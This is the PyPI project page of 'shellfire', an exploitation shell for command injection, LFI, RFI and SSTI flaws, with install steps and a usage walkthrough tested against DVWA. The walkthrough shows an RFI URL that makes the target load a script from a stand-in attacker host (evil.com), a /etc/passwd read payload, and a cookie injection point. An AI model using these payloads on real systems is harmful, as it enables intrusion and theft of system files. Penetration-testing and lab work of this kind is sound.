Skip to main content

shellfire is an exploitation shell focusing on exploiting command injection vulnerabilities, eg., LFI, RFI, SSTI, etc.

Project description

shellfire

shellfire is an exploitation shell which focuses on exploiting command injection vulnerabilities. This can be useful when exploiting LFI, RFI, SSTI, etc.

I originally started developing this script while working on my OSCP labs. As the capabilities grew, I thought maybe other people could find this as useful as I have, so I decided to open source my tool.

Features

  • Persistent named configuration for multiple targets (and sharing!)
  • Plugin system
  • PHP payload
  • ASP payload

Installation

There are a few ways to install this tool. Shellfire is available via PyPI, so you can use pip.

$ pip install shellfire

From Kali Linux, you can even use apt.

$ sudo apt install shellfire

If you'd like to build from source, you can use the standard Python setuptools to install this package.

$ git clone https://github.com/unix-ninja/shellfire.git
$ cd shellfire
$ python setup.py install

A few useful hints

After installing, you can just call 'shellfire' from your terminal.

$ shellfire
[*] ShellFire v0.11
[*] Type 'help' to see available commands
(config)>

You can type help at any time inside config mode for a list of available commands, or append the command you want to know more information about to help for specific details. For example help http.

Let's explore how to attack a basic RFI vulnerability!

To start exploitation, you need to specify at least the URL parameter of your target. Something like the following should work:

(config)> url http://example.com/?path=http://evil.com/script.php

Running any command now would cause your RFI to get executed on the remote target.

Let's say you want to arbitrarily control the payloads going to the path paramter. This time, we will use {} to specify our injection point.

(config)> url http://example.com/?path={}

Before we can send our payloads, we must enter shell mode.

(config)> shell

Now, you can just type the payload you want to send and hit enter.

(shell)> /etc/passwd

You can always type "exit" to return from shell mode, back to config mode.

(shell)> exit

At this point, you should have enough to exploit easy vulnerabilities. Payloads you enter on the shell will be appropriately injected and sent over to your target.

More complex vulnerabilities may require specifying additional options. For example, let's assume you needed to send a cookie with a session ID in order to exploit your target. You may want to add something like this:

(config)> cookies { "session_id" : "123456789" }

We can specify injection points in cookies too.

(config)> cookies { "session_id" : "123456789", "vuln_param": "{}" }

Additional options, and information on how to use them, can be discovered by using the help option in config mode.

Thanks to Offensive-Security for inspiring the creation of this utility.

Please use this tool for good.

Happy hacking!

Testing

Testing is currently being done against the dvwa docker image.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

shellfire-0.13.tar.gz (15.8 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

shellfire-0.13-py3-none-any.whl (16.2 kB view details)

Uploaded Python 3

File details

Details for the file shellfire-0.13.tar.gz.

File metadata

  • Download URL: shellfire-0.13.tar.gz
  • Upload date:
  • Size: 15.8 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/4.0.1 CPython/3.9.18

File hashes

Hashes for shellfire-0.13.tar.gz
Algorithm Hash digest
SHA256 cc310e3efcfde5bd0e59012840ac07f51b52c2869e697fe3a02ac2e1e5e74040
MD5 271da9a94a46857a3ccfcd894457ca61
BLAKE2b-256 9e677a8a6f7e7b9d4b820b178c03084dc88ec1ab1393aa23caf335989c0ca353

See more details on using hashes here.

File details

Details for the file shellfire-0.13-py3-none-any.whl.

File metadata

  • Download URL: shellfire-0.13-py3-none-any.whl
  • Upload date:
  • Size: 16.2 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/4.0.1 CPython/3.9.18

File hashes

Hashes for shellfire-0.13-py3-none-any.whl
Algorithm Hash digest
SHA256 8e2b56fc6e3b65b547d4f39759c93ec1e4a0eb3f0d2ffd827fe0af080759d6ed
MD5 744fc190ff5b552f654147d813eabc99
BLAKE2b-256 0bd46d52f3a8dd19afc65665485b45812eaf4ab521ad9ec3792f0b7faa713e91

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page